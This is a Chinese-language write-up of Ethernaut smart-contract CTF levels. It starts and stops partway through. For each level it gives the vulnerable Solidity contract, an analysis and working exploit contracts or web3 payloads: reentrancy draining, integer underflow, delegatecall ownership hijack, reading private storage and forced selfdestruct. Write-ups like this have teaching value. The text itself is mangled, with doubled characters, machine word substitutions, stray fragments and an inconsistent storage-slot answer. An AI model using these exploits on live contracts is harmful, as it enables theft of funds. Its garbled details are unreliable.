達(dá)到這個(gè)有兩個(gè)方式,第一種方式是把原本題目合約扒下來(lái),放到debug測(cè)試網(wǎng)絡(luò),第二攻擊合約與其交互,在debug中看下gasleft是多少第二調(diào)整算出需要的gasleft。但是不同編譯器版本編譯出的合約所耗費(fèi)的gas并不相同,按照medium網(wǎng)站上說(shuō)的方式到etherscan上查了下合約信息,由于沒(méi)有上傳源碼并不能得到題目合約的 編譯器版本,所以盡管我們?cè)赿ebug環(huán)境下算出了符合條件的gas,仍然不能保證會(huì)成功。

第二種方式就比較暴力,直接寫(xiě)一個(gè)for循環(huán),每次的gas都從一個(gè)值遞增1,這樣一定會(huì)遇到一個(gè)符合條件的gas。

pragma solidity ^0.6.0;
import './SafeMath.sol';
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperOne {
address levelInstance;
?
constructor (address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function open() public {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for(uint i = 0; i < 8191 ;i++)
{
// IGatekeeperOne(levelInstance).enter{gas: 114928}(key);
levelInstance.call{gas:114928 + i}(abi.encodeWithSignature("enter(bytes8)", key));
}
?
}
}magicnumber題目

要求使用總長(zhǎng)度不超過(guò)10的bytecode編寫(xiě)出一個(gè)合約,返回值為42.

代碼pragma solidity ^0.4.24;
?
contract MagicNum {
?
address public solver;
?
constructor() public {}
?
function setSolver(address _solver) public {
solver = _solver;
}
?
/*
____________/\_______/\\\\_____
__________/\\_____/\///////\___
________/\/\____///______//\__
______/\//\______________/\/___
____/\/__/\___________/\//_____
__/\\\\\\\\_____/\//________
_///////////\//____/\/___________
___________/\_____/\\\\\\\_
___________///_____///////////////__
*/
}分析

主要參考這個(gè)鏈接,說(shuō)的也比較詳細(xì):https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

值得注意的一點(diǎn)是合約代碼的長(zhǎng)度是不會(huì)算構(gòu)造函數(shù)以及構(gòu)造合約的init函數(shù)的。

gatekeeper2題目

過(guò)三個(gè)檢查

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract GatekeeperTwo {
?
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) – 1);
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

這道題目需要在magicnumber之后做。

第一個(gè)check就是部署個(gè)合約即可。

第三個(gè)利用異或的性質(zhì),將key設(shè)置為addr ^ 0xffffffffffffff即可。

第二個(gè)check比較有意思,是利用了assembler,不過(guò)含義如字面意思。

caller()指的就是攻擊合約,extcodesize(caller())指的就是攻擊合約的代碼長(zhǎng)度,需要使得其長(zhǎng)度為0。

這里在之前的magicnumber提到過(guò),合約代碼長(zhǎng)度不會(huì)算進(jìn)去構(gòu)造函數(shù)的長(zhǎng)度,所以將攻擊函數(shù)直接寫(xiě)進(jìn)構(gòu)造函數(shù)即可。

pragma solidity ^0.8.0;
?
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperTwo {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) – 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}

由于新版本的solidity都會(huì)內(nèi)置整數(shù)溢出檢查,所以在攻擊合約中uint64(0) – 1需要用uncheck修飾。

?

拓展知識(shí):

前沿拓展:


Ethernaut記錄Fallback題目描述

Look carefully at the contract's code below.

You will beat this level if

you claim ownership of the contract

you reduce its balance to 0

Things that might help

How to send ether when interacting with an ABI

How to send ether outside of the ABI

Converting to and from wei/ether units (see help() command)

Fallback methods

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallback {
?
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
?
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
?
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
?
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
?
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}分析

題目的目標(biāo)是成為這個(gè)合約的owner,并且將合約的balance清零。

在源代碼中可以看到,成為合約的owner就代表著需要將合約中的owner賦值為我們的address,有三種方式:

1.調(diào)用contribute函數(shù)

2.調(diào)用receive函數(shù)

這里需要說(shuō)明一下,constructor函數(shù)是合約的構(gòu)造函數(shù),是合約在初始化的時(shí)候建立的,而sender這個(gè)全局變量代表的是當(dāng)前和合約交互的用戶。所以說(shuō),contructor函數(shù)的sender不可能是除了創(chuàng)建者之外后續(xù)用戶。

如要調(diào)用contribute函數(shù),則需要向合約轉(zhuǎn)賬,轉(zhuǎn)入的eth大于1000才可以成為onwer,而且每次只能轉(zhuǎn)小于0.001eth,顯然不可行。

那么如果調(diào)用receive函數(shù),只需要轉(zhuǎn)賬大于0即可成為owner。那么這個(gè)receive函數(shù)怎么調(diào)用呢?

這個(gè)函數(shù)明顯長(zhǎng)得就和正常的函數(shù)不一樣,沒(méi)有function修飾。

這里的話第一解釋一下什么是fallback

https://me.tryblockchain.org/blockchain-solidity-fallback.html

也就是說(shuō),直接向合約轉(zhuǎn)賬,使用address.send(ether to send)向某個(gè)合約直接轉(zhuǎn)帳時(shí),由于這個(gè)行為沒(méi)有發(fā)送任何數(shù)據(jù),所以接收合約總是會(huì)調(diào)用fallback函數(shù)。或者當(dāng)調(diào)用函數(shù)找不到時(shí)就會(huì)調(diào)用fallback函數(shù)。

那么這個(gè)fallback和receive又有什么關(guān)系呢?在0.6以后的版本,fallback函數(shù)的寫(xiě)法就不是這么寫(xiě)了而是:

fallback() external {
}
receive() payable external {
currentBalance = currentBalance + msg.value;
}

fallback 和 receive 不是普通函數(shù),而是新的函數(shù)類型,有特別的含義,所以在它們前面加 function 這個(gè)關(guān)鍵字。加上 function 之后,它們就變成了一般的函數(shù),只能按一般函數(shù)來(lái)去調(diào)用。

每個(gè)合約最多有一個(gè)不帶任何參數(shù)不帶 function 關(guān)鍵字的 fallback 和 receive 函數(shù)。

receive 函數(shù)類型必須是 payable 的,并且里面的語(yǔ)句只有在通過(guò)外部地址往合約里轉(zhuǎn)賬的時(shí)候執(zhí)行。fallback 函數(shù)類型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合約發(fā)送非轉(zhuǎn)賬交易,如果交易里帶有轉(zhuǎn)賬信息,交易會(huì)被 revert;如果是 payable 的,自然也就可以接受轉(zhuǎn)賬了。

盡管 fallback 可以是 payable 的,但并不建議這么做,聲明為 payable 之后,其所消耗的 gas 最大量就會(huì)被限定在 2300。

也就是說(shuō),只要向合約轉(zhuǎn)賬,就會(huì)執(zhí)行receive函數(shù)。具體來(lái)說(shuō),就是調(diào)用contract.sendTransaction({value : 1})。

所以說(shuō),要成為owner要經(jīng)過(guò)以下兩個(gè)步驟:

1.調(diào)用contribute使contribution大于0

2.向合約轉(zhuǎn)賬,調(diào)用receive,成為owner。

成為owner后,還需要將合約的balance清零,這里需要調(diào)用withdraw函數(shù),也就是執(zhí)行這一句:

owner.transfer(address(this).balance);

this指針指向的是合約本身,這句話的意思就是合約向owner的地址轉(zhuǎn)帳合約所有的balance。

所以,最終的payload就是:

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw() Fallout題目描述

Level completed!

Difficulty 2/10

Claim ownership of the contract below to complete this level.

Things that might help

Solidity Remix IDE代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
?
?
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
?
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
?
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
?
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}分析

提示是用ide看,問(wèn)題就是他這個(gè)構(gòu)造函數(shù)其實(shí)不是構(gòu)造函數(shù),F(xiàn)al1out,直接調(diào)用即可。

過(guò)關(guān)后,會(huì)出現(xiàn)這樣一段話:

That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well… Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:

contract Rubixi {address private owner;function DynamicPyramid() { owner = msg.sender; }function collectAllFees() { owner.transfer(this.balance) }…

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in **artcontractland.

coin flip題目

需要連續(xù)十次猜中硬幣翻轉(zhuǎn)結(jié)果,猜對(duì)了就可以過(guò)關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract CoinFlip {
?
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}分析

可以看到,每一次猜的值都要與blockhash/factor進(jìn)行一個(gè)比對(duì)。這里,blocknumber指的是當(dāng)前交易的區(qū)塊編號(hào),并不是合約所處的區(qū)塊編號(hào)。由于一個(gè)塊內(nèi)交易數(shù)量很多,所以我們就可以通過(guò)布置一個(gè)合約,使其交易行為與驗(yàn)證的交易打包在一個(gè)塊中,這樣blockhash的值就可以提前算出來(lái),重復(fù)十次即可過(guò)關(guān)

exp:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
?
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor (address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}
?
function hack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}telephone題目

需要成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}分析

這里肯定是調(diào)用changeOwner,知識(shí)點(diǎn)就在于tx.origin和msg.sender之間的區(qū)別。

tx.origin (address):交易發(fā)送方(完整的調(diào)用鏈)msg.sender (address):消息的發(fā)送方(當(dāng)前調(diào)用)

可以認(rèn)為,origin為源ip地址,sender為上一跳地址。

所以思路就是部署一個(gè)合約A,我們調(diào)用這個(gè)合約A,而這個(gè)合約A調(diào)用題目合約,即可完成利用。

Exp:

pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
?
Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);
?
function hack() public{
target.changeOwner(msg.sender);
}
}token題目

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Token {
?
mapping(address => uint) balances;
uint public totalSupply;
?
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
?
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] – _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
?
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}分析

uint整數(shù)溢出,不會(huì)小于0。

exp:

pragma solidity ^0.6.0;
?
?
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
?
contract Token {
address levelInstance;
?
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}delegation題目

成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Delegate {
?
address public owner;
?
constructor(address _owner) public {
owner = _owner;
}
?
function pwn() public {
owner = msg.sender;
}
}
?
contract Delegation {
?
address public owner;
Delegate delegate;
?
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
?
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}分析

有兩個(gè)合約,第一個(gè)delegate里面有個(gè)pwn函數(shù),可以直接獲得owner。第二個(gè)合約delegation實(shí)例化了delegate,并且定義了fallback函數(shù),里面通過(guò)delegeatecall調(diào)用delegate合約中的函數(shù)。

我們經(jīng)常會(huì)使用call函數(shù)與合約進(jìn)行交互,對(duì)合約發(fā)送數(shù)據(jù),當(dāng)然,call是一個(gè)較底層的接口,我們經(jīng)常會(huì)把它封裝在其他函數(shù)里使用,不過(guò)性質(zhì)是差不多的,這里用到的delegatecall跟call主要的不同在于通過(guò)delegatecall調(diào)用的目標(biāo)地址的代碼要在當(dāng)前合約的環(huán)境中執(zhí)行,也就是說(shuō)它的函數(shù)執(zhí)行在被調(diào)用合約部分其實(shí)只用到了它的代碼,所以這個(gè)函數(shù)主要是方便我們使用存在其他地方的函數(shù),也是模塊化代碼的一種方法,然而這也很容易遭到破壞。用于調(diào)用其他合約的call類的函數(shù),其中的區(qū)別如下:1、call 的外部調(diào)用上下文是外部合約2、delegatecall 的外部調(diào)用上下是調(diào)用合約上下文

也就是說(shuō),我們?cè)赿elegation里通過(guò)delegatecall調(diào)用delegate中的pwn函數(shù),pwn函數(shù)運(yùn)行的上下文其實(shí)是delegation的環(huán)境。也就是說(shuō),此時(shí)執(zhí)行pwn的話,owner其實(shí)是delegation的owner而不是delegate的owner。

抽象點(diǎn)理解,call就是正常的call,而delegatecall可以理解為inline函數(shù)調(diào)用。

在這里我們要做的就是使用delegatecall調(diào)用delegate合約的pwn函數(shù),這里就涉及到使用call指定調(diào)用函數(shù)的**作,當(dāng)你給call傳入的第一個(gè)參數(shù)是四個(gè)字節(jié)時(shí),那么合約就會(huì)默認(rèn)這四個(gè)字節(jié)就是你要調(diào)用的函數(shù),它會(huì)把這四個(gè)字節(jié)當(dāng)作函數(shù)的id來(lái)尋找調(diào)用函數(shù),而一個(gè)函數(shù)的id在以太坊的函數(shù)選擇器的生成規(guī)則里就是其函數(shù)簽名的sha3的前4個(gè)bytes,函數(shù)前面就是帶有括號(hào)括起來(lái)的參數(shù)類型列表的函數(shù)名稱。

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});force題目

令合約的余額大于0即可通關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Force {/*
?
MEOW ?
/_/ /
____/ o o
/~____ =?= /
(______)__m_m)
?
*/}分析

沒(méi)有任何代碼的合約怎么接受eth?這里的話以太坊里我們是可以強(qiáng)制給一個(gè)合約發(fā)送eth的,不管它要不要它都得收下,這是通過(guò)selfdestruct函數(shù)來(lái)實(shí)現(xiàn)的,如它的名字所顯示的,這是一個(gè)自毀函數(shù),當(dāng)你調(diào)用它的時(shí)候,它會(huì)使該合約無(wú)效化并刪除該地址的字節(jié)碼,第二它會(huì)把合約里剩余的資金發(fā)送給參數(shù)所指定的地址,比較特殊的是這筆資金的發(fā)送將無(wú)視合約的fallback函數(shù),因?yàn)槲覀冎耙蔡岬搅水?dāng)合約直接收到一筆不知如何處理的eth時(shí)會(huì)觸發(fā)fallback函數(shù),然而selfdestruct的發(fā)送將無(wú)視這一點(diǎn)。

所以思路就是搞一個(gè)合約出來(lái),第二自毀,強(qiáng)制給題目合約eth。

contract Force {
address payable levelInstance;
?
constructor (address payable _levelInstance) public {
levelInstance = _levelInstance;
}
?
function give() public payable {
selfdestruct(levelInstance);
}
}vault題目

使得locked == false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Vault {
bool public locked;
bytes32 private password;
?
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
?
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}分析

主要就是猜密碼,看起來(lái)密碼被private保護(hù),不能被訪問(wèn)到,但是其實(shí)區(qū)塊鏈上所有東西都是透明的,只要我們知道它存儲(chǔ)的地方,就能訪問(wèn)到查詢到。

使用web3的storageat函數(shù)即可查詢到特**置的數(shù)據(jù)信息。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});king題目

合同代表一個(gè)非常簡(jiǎn)單的游戲:誰(shuí)給它發(fā)送了比當(dāng)前獎(jiǎng)金還大的數(shù)量的以太,就成為新的國(guó)王。在這樣的**中,被推翻的國(guó)王獲得了新的獎(jiǎng)金,但是如果你提交的話那么合約就會(huì)回退,讓level重新成為國(guó)王,而我們的目標(biāo)就是阻止這一情況的發(fā)生。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract King {
?
address payable king;
uint public prize;
address payable public owner;
?
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
?
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
?
function _king() public view returns (address payable) {
return king;
}
}分析

主要看receive函數(shù),邏輯是先轉(zhuǎn)賬第二再更新king和prize,所以說(shuō),如果我們使得程序斷在接受上,即可使得king不被更新。

所以代碼是這樣:

pragma solidity ^0.6.0;
?
contract attack{
constructor(address _addr) public payable{
_addr.call{value : msg.value}("");
}
receive() external payable{
revert();
}
}

接受函數(shù)邏輯就是直接revert,這樣攻擊合約只要發(fā)生了轉(zhuǎn)賬,就會(huì)中止執(zhí)行,這樣transfer就不會(huì)成功,king也就不會(huì)更新。

reentrancy題目

盜取合約中所有余額

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;
?
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
?
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
?
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
?
receive() external payable {}
}分析

這個(gè)題目是很著名的re-entrance攻擊,也就是重入攻擊。漏洞點(diǎn)在于withdraw函數(shù)。可以看到他是先調(diào)用了msg.sender.call{value:_amount}("");第二再在balance里面將存儲(chǔ)的余額減去amount。這里就是可重入攻擊的關(guān)鍵所在了,因?yàn)樵摵瘮?shù)在發(fā)送ether后才更新余額,所以我們可以想辦法讓它卡在call.value這里不斷給我們發(fā)送ether,因?yàn)閏all的參數(shù)是空,所以會(huì)調(diào)用攻擊合約的fallback函數(shù),我們?cè)趂allback函數(shù)里面再次調(diào)用withdraw,這樣套娃,就能將合約里面的錢都偷出來(lái)。

pragma solidity ^0.8.0;
?
interface IReentrance {
function withdraw(uint256 _amount) external;
}
?
contract Reentrance {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
?
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}elevator題目

另top==true

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
interface Building {
function isLastFloor(uint) external returns (bool);
}
?
?
contract Elevator {
bool public top;
uint public floor;
?
function goTo(uint _floor) public {
Building building = Building(msg.sender);
?
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}分析

合約并沒(méi)有實(shí)現(xiàn)building,需要我們自己定義。從程序的分析來(lái)看,top不可能為true。所以我們需要在實(shí)現(xiàn)building的時(shí)候搞點(diǎn)事情,也就是第一次搞成false,第二次調(diào)用搞成true就好。

pragma solidity ^0.8.0;
?
interface IElevator {
function goTo(uint256 _floor) external;
}
?
contract Elevator {
address levelInstance;
bool side = true;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function isLastFloor(uint256) external returns (bool) {
side = !side;
return side;
}
?
function go() public {
IElevator(levelInstance).goTo(1);
}
}privacy題目

將locked成為false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Privacy {
?
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
?
constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
?
/*
A bunch of super a**anced solidity algorithms…
?
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,—/V
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}分析

和那個(gè)vault一樣,只不過(guò)這次的data需要確**置。

根據(jù)32bytes一格的標(biāo)準(zhǔn),劃分如下

//slot 0
bool public locked = true;
//slot 1
uint256 public constant ID = block.timestamp;
//slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);//2 字節(jié)
//slot 3-5
bytes32[3] private data;

所以最終的data[2]就在slot5

所以最終查詢:

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})naughty coin題目

NaughtCoin是一個(gè)ERC20代幣,你已經(jīng)擁有了所有的代幣。但是你只能在10年的后才能將他們轉(zhuǎn)移。你需要想出辦法把它們送到另一個(gè)地址,這樣你就可以把它們自由地轉(zhuǎn)移嗎,讓后通過(guò)將token余額置為0來(lái)完成此級(jí)別。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
?
contract NaughtCoin is ERC20 {
?
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
?
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
?
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}分析

代碼重載了EC20類,但是沒(méi)有完全重載完,所以說(shuō)可以直接調(diào)用ec20里面的函數(shù)進(jìn)行轉(zhuǎn)賬。

contract.approve(player,toWei("1000000"))
contract.transferFrom(player,contract.address,toWei("1000000"))preservation題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Preservation {
?
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
?
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
?
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
?
// Simple library contract to set the time
contract LibraryContract {
?
// stores a timestamp
uint storedTime;
?
function setTime(uint _time) public {
storedTime = _time;
}
}分析

漏洞點(diǎn)還是在delegatecall上,由于不會(huì)改變上下文,所以說(shuō)settime函數(shù)中,將storedtime賦值為time,如果delegatecall調(diào)用,其實(shí)是把slot1中的數(shù)據(jù)賦值為time。

所以說(shuō)第一次setfirsttime將timezone1改掉,改成我們攻擊合約地址,這樣就可以調(diào)用魔改的settime函數(shù)。,第二就可以把owner改掉了。

攻擊合約代碼:

pragma solidity ^0.8.0;
?
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
?
function setTime(uint256 player) public {
owner = address(uint160(player));
}
}

攻擊流程:

contract.setFirstTime(攻擊合約地址)
contract.setFirstTime(player)recovery題目

合約的創(chuàng)建者已經(jīng)構(gòu)建了一個(gè)非常簡(jiǎn)單的合約示例。任何人都可以輕松地創(chuàng)建新的代幣。部署第一個(gè)令牌合約后,創(chuàng)建者發(fā)送了0.5ether以獲取更多token。后來(lái)他們失去了合同地址。目的是從丟失的合同地址中恢復(fù)(或移除)0.5ether。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Recovery {
?
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}
?
contract SimpleToken {
?
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
?
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
?
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
?
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
?
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}分析

主要的難點(diǎn)就是找不到合約的地址,不過(guò)所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask錢包里面查看交易就能獲得合約的地址。找到合約地址后調(diào)用destroy函數(shù)就行。

pragma solidity ^0.8.0;
?
interface ISimpleToken {
function destroy(address payable _to) external;
}
?
contract SimpleToken {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}Alien Codex題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
?
import '../helpers/Ownable-05.sol';
?
contract AlienCodex is Ownable {
?
bool public contact;
bytes32[] public codex;
?
modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}
?
function record(bytes32 _content) contacted public {
codex.push(_content);
}
?
function retract() contacted public {
codex.length–;
}
?
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}分析

合約引入了ownable,這樣合約中就多了個(gè)owner變量,這個(gè)變量經(jīng)過(guò)查詢是在slot 0中。

win10 mul

前十六個(gè)字節(jié)是contact

win10 mul

win10 mul

可以看到調(diào)用完makecontact就變成1了。

在這個(gè)合約里面,可以指定下標(biāo)元素賦值,且沒(méi)有檢查。所以說(shuō)我們只需要計(jì)算出codex數(shù)組和slot0的距離即可改變owner。

codex是一個(gè)32bytes的數(shù)組,在slot1中存儲(chǔ)著他的長(zhǎng)度。我們要計(jì)算出一個(gè)元素的下標(biāo),如果下標(biāo)溢出,則會(huì)存儲(chǔ)到slot0中。

